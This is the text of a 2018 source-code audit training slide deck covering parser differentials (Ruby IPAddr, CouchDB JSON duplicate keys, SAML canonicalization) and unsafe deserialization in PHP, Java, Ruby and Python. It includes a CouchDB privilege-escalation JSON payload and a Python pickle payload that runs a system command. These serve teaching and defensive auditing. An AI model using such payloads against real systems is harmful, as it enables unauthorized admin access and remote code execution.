Source Code Audit Training

Day 2

Jörn Schneeweisz

© 2018

Short Recap on Yesterday

Can’t say it often enough

This unzipping thing

Fixed!

filepath.Clean

What’s this?

Fixed!

Large Code Bases

Large Code Bases

Large Code Bases

Large Code Bases

  • Even some simple projects have an overwhelming amount of underlying code.
  • Just think of the dependencies and the dependencies of the dependencies …
  • A simple “Hello World” Web app can already introduce a ton of dependet code.
    • Depending on the choice of Framework

Large Code Bases

What helps tackling such monster?

  • Prioritize & Scope
  • A Threat Model
  • Knowing the data flows
  • Having meaningful documentation

Prioritization / Scoping

  1. Limit the audit to the actual code
  2. Use existing Threat Models
  3. Prioritize by features/vuln classes
    • Critical stuff first
    • File upload, login, password reset, access controls…
  4. Where needed: dig deeper into dependencies
    • There might be a lot of gut feeling involved ;)

“Speed Reading”

git clone https://tinyurl.com/buzzfizz

;)

Parsers

Parser Differentials

When two parsers yield different results for the same input things might go wrong™️

Example: Ruby RegEx vs. IPAddr()

CVE-2015-3224

Example: Ruby RegEx vs. IPAddr()

irb(main):003:0> IPAddr.new('::1')
=> #<IPAddr: IPv6:0000:0000:0000:0000:0000:0000:0000:0001/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff>

Example: Ruby RegEx vs. IPAddr()

irb(main):006:0> IPAddr.new('::1') == IPAddr.new('127.0.0.1')
=> false
irb(main):007:0> IPAddr.new('::1') == IPAddr.new('0::23')
=> false
irb(main):008:0> IPAddr.new('::1') == IPAddr.new('0000::1')
=> true
^::1$ 

Example: JS vs. Erlang

Vulnerability found by Max Justicz

Example: JS vs. Erlang

CouchDB implements authorization checks in JavaScript. Storage within the DB is implemented in Erlang.

Example: JS vs. Erlang

JavaScript’s JSON.parse() will return the last value on duplicate keys:

Example: JS vs. Erlang

CouchDB uses the Jiffy within the Erlang part to parse JSON input:

jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}").
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}

Example: JS vs. Erlang

Exploit Payload:

    { 
      "type": "user",
      "name": "richter",
      "roles": ["_admin"],
      "roles": [],
      "password": "password"
    }

Example: various (SAML)

XML Canonicalization:

Example: various (SAML)

Issue found by Duo Labs

Python defusedxml:

Example: various (SAML)

Example: various (SAML)

element: NameID
|_ text: klud
|_ comment: a comment?
|_ text: wig

Example: various (SAML)

(De)Serialization

(De)Serialization

  • In general
    • Some string represents a serialized object
    • The object gets instantiated while bypassing the constructor
    • Object properties get assigned directly from the serialized content
    • Methods like __wakeup (PHP) or marshal_load get invoked to perform custom deserialization tasks
    • The newly deserialized object lives happily until the garbage collector kills it

PHP

unserialize($user_input)

php > echo serialize(["hello","world",true,[1,2,"1337"]]);
a:4:{i:0;s:5:"hello";i:1;s:5:"world";i:2;b:1;i:3;a:3:{i:0;i:1;i:1;i:2;i:2;s:4:"1337";}}

PHP

“Magic” methods can be used to get to RCE.

Java

Keep an eye on:

  • java.io.Serializable
  • java.io.ObjectInputStream

  • ObjectInputStream does not check which class gets deserialized
  • There is no whitelist/blacklist which classes are allowed to get deserialized
  • All serializable classes that the current classloader can locate and load might get deserialized

Java

Further reading:

Ruby

In Ruby Marshal is used to

  • serialize (str = Marshal.dump(obj))

and

  • unserialize (obj = Marshal.load(str)) Objects.

Ruby

irb(main):001:0> foo = ["Some funky string",{"a hash"=>1337}]
=> ["Some funky string", {"a hash"=>1337}]
irb(main):002:0> Marshal.dump foo
=> "\x04\b[\aI\"\x16Some funky string\x06:\x06ET{\x06I\"\va
hash\x06;\x00Ti\x029\x05"

Ruby (on Rails) RCE payload

Ruby (on Rails) RCE flow

Ruby (on Rails) RCE flow

Parent class DeprecationProxy

Credits: charliesome

Ruby (on Rails) RCE payload

Python

Python pickle

Warning

The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Python

Use __reduce__ for generating payloads.

Python

In [4]: pickle.dumps(Payload())
Out[4]: b'\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq\x03.'